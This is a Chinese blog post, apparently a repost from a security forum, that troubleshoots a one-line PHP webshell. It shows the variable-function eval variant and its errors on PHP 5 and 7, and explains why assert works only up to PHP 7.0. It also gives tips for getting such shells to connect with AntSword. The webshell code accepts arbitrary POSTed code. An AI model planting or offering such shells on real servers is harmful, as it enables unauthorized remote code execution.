一句话木马踩坑记

2019-10-15 约 189 字 预计阅读 1 分钟

声明:本文 【一句话木马踩坑记】 由作者 fz41 于 2019-10-15 09:17:29 首发 先知社区 曾经 浏览数 586 次

感谢 fz41 的辛苦付出!

前言

我太菜了,今天有学弟拿着一个一句话过来找我,说链接不上

<?php
$a="eval";
$a(@$_POST['a']);
?>

最开始以为是版本的问题

然后开始踩坑了

测试

我自己用带毒的phpstudy测试了一下:

在php5的版本里面报错:

Fatal error: Call to undefined function eval() in E:\software\PhpStudy\PHPTutorial\WWW\1.php on line 3

在php7里面报错:

Fatal error: Uncaught Error: Call to undefined function eval() in E:\software\PhpStudy\PHPTutorial\WWW\1.php:3 Stack trace: #0 {main} thrown in E:\software\PhpStudy\PHPTutorial\WWW\1.php on line 3

请教了一个大佬:

我:
<?php
$a = "eval";
$a(@$_POST['a']);
?>
这种木马 您能用吗
大佬:
咋不能用?
大佬:
一个简单的变形没看懂吗
我:
php的文档说 eval不是函数  
大佬:
本来就是语言构造器
我:
您测试成功了马
大佬:
你网上花钱找个师傅吧 我不提供问题解答哈
我:
哦 好吧
大佬:
Assert也是一样可以的,自己试

好尴尬啊,被大佬教育了一波,我太菜了,于是乎查了查文档,然后自己又测试了一下:

给了一个合理的解释:

eval是因为是一个语言构造器而不是一个函数,不能被可变函数调用。

什么是可变函数呢:

​ PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

​ 可变函数不能用于例如 echoprintunset()isset()empty()includerequire 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

所以我在怀疑,有些大佬们都是照抄assert的变形方式没有测试过就放到博客上了就是说,如果换了assert,这个是可以用的

结论:

eval不能用,assert可以用。

深入

在php5的版本:

正常

继续测试一下assert

在php7.0的版本:

正常

在php7.1往后的版本:

Warning: Cannot call assert() with string argument dynamically in E:\software\PhpStudy\PHPTutorial\WWW\1.php on line 3

网上搜索了一下:

assert()默认不在可以执行代码
这就是众多马不能用的罪魁祸首了,太多的马用assert()来执行代码了,这个更新基本就团灭,一般情况下修改成eval即可正常运行了~

这样一看问题基本明晰了,然后又看了一眼文档

7.0.0 assert() is now a language construct and not a function. assertion() can now be an expression. The second parameter is now interpreted either as an exception (if a Throwable object is given), or as the description supported from PHP 5.4.8 onwards.

在php7里面 是语言构造器。

结论

eval不能用,php7.1之后assert()也不能用

最后说一下,蚁剑是可以用assert的,不过编码最后使用base64

后记

直接百度了一下:

还是有几个大佬写的有这种问题的。

最后可能是我认知上出现了问题,冒犯到大佬,还望见谅。

有不当之处,多多指正,感谢大佬们教我做人。

我还是太菜了。

相关链接

https://www.php.net/manual/zh/functions.variable-functions.php

https://www.php.net/manual/zh/function.assert.php

http://www.vuln.cn/8395

https://www.xmsec.cc/few-security-changes-between-php-7-and-php-5/

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now